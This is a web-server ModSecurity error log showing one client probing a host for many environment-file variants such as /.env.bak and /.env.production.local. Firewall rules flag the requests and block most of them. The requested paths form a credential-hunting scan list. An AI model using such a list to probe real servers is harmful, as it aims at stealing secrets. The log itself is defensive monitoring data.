[Sun Oct 25 00:28:18.986184 2026] [security2:error] [pid 2762190:tid 2762190] [client 34.139.102.100:45500] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at2FYsmYnImk6kHi8hyMZQAAADA"]
[Sun Oct 25 00:28:18.986403 2026] [security2:error] [pid 2762190:tid 2762190] [client 34.139.102.100:45500] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at2FYsmYnImk6kHi8hyMZQAAADA"]
[Sun Oct 25 00:28:18.986587 2026] [security2:error] [pid 2762190:tid 2762190] [client 34.139.102.100:45500] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at2FYsmYnImk6kHi8hyMZQAAADA"]
[Sun Oct 25 00:28:18.986828 2026] [security2:error] [pid 2762190:tid 2762190] [client 34.139.102.100:45500] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at2FYsmYnImk6kHi8hyMZQAAADA"]
[Sun Oct 25 00:28:19.043280 2026] [security2:error] [pid 2759074:tid 2759074] [client 34.139.102.100:45510] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.testing"] [unique_id "at2FY9sOgdpl1YJRCNQViQAAAEU"]
[Sun Oct 25 00:28:19.043526 2026] [security2:error] [pid 2759074:tid 2759074] [client 34.139.102.100:45510] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.testing"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.testing"] [unique_id "at2FY9sOgdpl1YJRCNQViQAAAEU"]
[Sun Oct 25 00:28:19.043723 2026] [security2:error] [pid 2759074:tid 2759074] [client 34.139.102.100:45510] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.testing"] [unique_id "at2FY9sOgdpl1YJRCNQViQAAAEU"]
[Sun Oct 25 00:28:19.044004 2026] [security2:error] [pid 2759074:tid 2759074] [client 34.139.102.100:45510] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.testing"] [unique_id "at2FY9sOgdpl1YJRCNQViQAAAEU"]
[Sun Oct 25 00:28:19.102443 2026] [security2:error] [pid 2759057:tid 2759057] [client 34.139.102.100:45514] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.txt"] [unique_id "at2FY2noVolia533WIkgxAAAADQ"]
[Sun Oct 25 00:28:19.102814 2026] [security2:error] [pid 2759057:tid 2759057] [client 34.139.102.100:45514] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.txt"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.txt"] [unique_id "at2FY2noVolia533WIkgxAAAADQ"]
[Sun Oct 25 00:28:19.103153 2026] [security2:error] [pid 2759057:tid 2759057] [client 34.139.102.100:45514] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.txt"] [unique_id "at2FY2noVolia533WIkgxAAAADQ"]
[Sun Oct 25 00:28:19.103530 2026] [security2:error] [pid 2759057:tid 2759057] [client 34.139.102.100:45514] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.txt"] [unique_id "at2FY2noVolia533WIkgxAAAADQ"]
[Sun Oct 25 00:28:19.161423 2026] [security2:error] [pid 2762183:tid 2762183] [client 34.139.102.100:45524] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at2FY5nH_N6a0offkOBE0gAAACg"]
[Sun Oct 25 00:28:19.161689 2026] [security2:error] [pid 2762183:tid 2762183] [client 34.139.102.100:45524] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at2FY5nH_N6a0offkOBE0gAAACg"]
[Sun Oct 25 00:28:19.161928 2026] [security2:error] [pid 2762183:tid 2762183] [client 34.139.102.100:45524] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at2FY5nH_N6a0offkOBE0gAAACg"]
[Sun Oct 25 00:28:19.162176 2026] [security2:error] [pid 2762183:tid 2762183] [client 34.139.102.100:45524] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at2FY5nH_N6a0offkOBE0gAAACg"]
[Sun Oct 25 00:28:19.218936 2026] [security2:error] [pid 2759096:tid 2759096] [client 34.139.102.100:45528] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.local.bak"] [unique_id "at2FY2TNY6y0aXZ6joCaowAAADk"]
[Sun Oct 25 00:28:19.219202 2026] [security2:error] [pid 2759096:tid 2759096] [client 34.139.102.100:45528] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.local.bak"] [unique_id "at2FY2TNY6y0aXZ6joCaowAAADk"]
[Sun Oct 25 00:28:19.219409 2026] [security2:error] [pid 2759096:tid 2759096] [client 34.139.102.100:45528] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.local.bak"] [unique_id "at2FY2TNY6y0aXZ6joCaowAAADk"]
[Sun Oct 25 00:28:19.219665 2026] [security2:error] [pid 2759096:tid 2759096] [client 34.139.102.100:45528] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.local.bak"] [unique_id "at2FY2TNY6y0aXZ6joCaowAAADk"]
[Sun Oct 25 00:28:19.275797 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.139.102.100:45542] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.production.local"] [unique_id "at2FY1TnwNJm6o1fQZIgCgAAAAI"]
[Sun Oct 25 00:28:19.276051 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.139.102.100:45542] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.production.local"] [unique_id "at2FY1TnwNJm6o1fQZIgCgAAAAI"]
[Sun Oct 25 00:28:19.276252 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.139.102.100:45542] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.production.local"] [unique_id "at2FY1TnwNJm6o1fQZIgCgAAAAI"]
[Sun Oct 25 00:28:19.276514 2026] [security2:error] [pid 2762145:tid 2762145] [client 34.139.102.100:45542] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.production.local"] [unique_id "at2FY1TnwNJm6o1fQZIgCgAAAAI"]
[Sun Oct 25 00:28:19.334246 2026] [security2:error] [pid 2762182:tid 2762182] [client 34.139.102.100:45544] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.production.bak"] [unique_id "at2FY7Cux6YzXC46yX1OUQAAACY"]
[Sun Oct 25 00:28:19.334454 2026] [security2:error] [pid 2762182:tid 2762182] [client 34.139.102.100:45544] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.production.bak"] [unique_id "at2FY7Cux6YzXC46yX1OUQAAACY"]
[Sun Oct 25 00:28:19.334629 2026] [security2:error] [pid 2762182:tid 2762182] [client 34.139.102.100:45544] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.production.bak"] [unique_id "at2FY7Cux6YzXC46yX1OUQAAACY"]
[Sun Oct 25 00:28:19.334889 2026] [security2:error] [pid 2762182:tid 2762182] [client 34.139.102.100:45544] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.production.bak"] [unique_id "at2FY7Cux6YzXC46yX1OUQAAACY"]
[Sun Oct 25 00:28:19.392769 2026] [security2:error] [pid 2762199:tid 2762199] [client 34.139.102.100:45554] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.local.old"] [unique_id "at2FYxzh2uHYztX7tG5lgAAAADw"]
[Sun Oct 25 00:28:19.393071 2026] [security2:error] [pid 2762199:tid 2762199] [client 34.139.102.100:45554] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.local.old"] [unique_id "at2FYxzh2uHYztX7tG5lgAAAADw"]
[Sun Oct 25 00:28:19.393287 2026] [security2:error] [pid 2762199:tid 2762199] [client 34.139.102.100:45554] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.local.old"] [unique_id "at2FYxzh2uHYztX7tG5lgAAAADw"]
[Sun Oct 25 00:28:19.393516 2026] [security2:error] [pid 2762199:tid 2762199] [client 34.139.102.100:45554] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.local.old"] [unique_id "at2FYxzh2uHYztX7tG5lgAAAADw"]
[Sun Oct 25 00:28:19.450099 2026] [security2:error] [pid 2762149:tid 2762149] [client 34.139.102.100:45566] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.old.bak"] [unique_id "at2FYzuLxR3FUbX6v9XEHwAAAAc"]
[Sun Oct 25 00:28:19.450383 2026] [security2:error] [pid 2762149:tid 2762149] [client 34.139.102.100:45566] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.old.bak"] [unique_id "at2FYzuLxR3FUbX6v9XEHwAAAAc"]
[Sun Oct 25 00:28:19.450623 2026] [security2:error] [pid 2762149:tid 2762149] [client 34.139.102.100:45566] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.old.bak"] [unique_id "at2FYzuLxR3FUbX6v9XEHwAAAAc"]
[Sun Oct 25 00:28:19.450892 2026] [security2:error] [pid 2762149:tid 2762149] [client 34.139.102.100:45566] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "agent.sherwinpinturas.com"] [uri "/.env.old.bak"] [unique_id "at2FYzuLxR3FUbX6v9XEHwAAAAc"]
[Sun Oct 25 00:28:19.509004 2026] [security2:error] [pid 2762188:tid 2762188] [client 34.139.102.100:45580] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "agent.sherwinpinturas.com"] [uri "/env"] [unique_id "at2FY2Qyb15Iqx39xvm2PAAAAC4"]
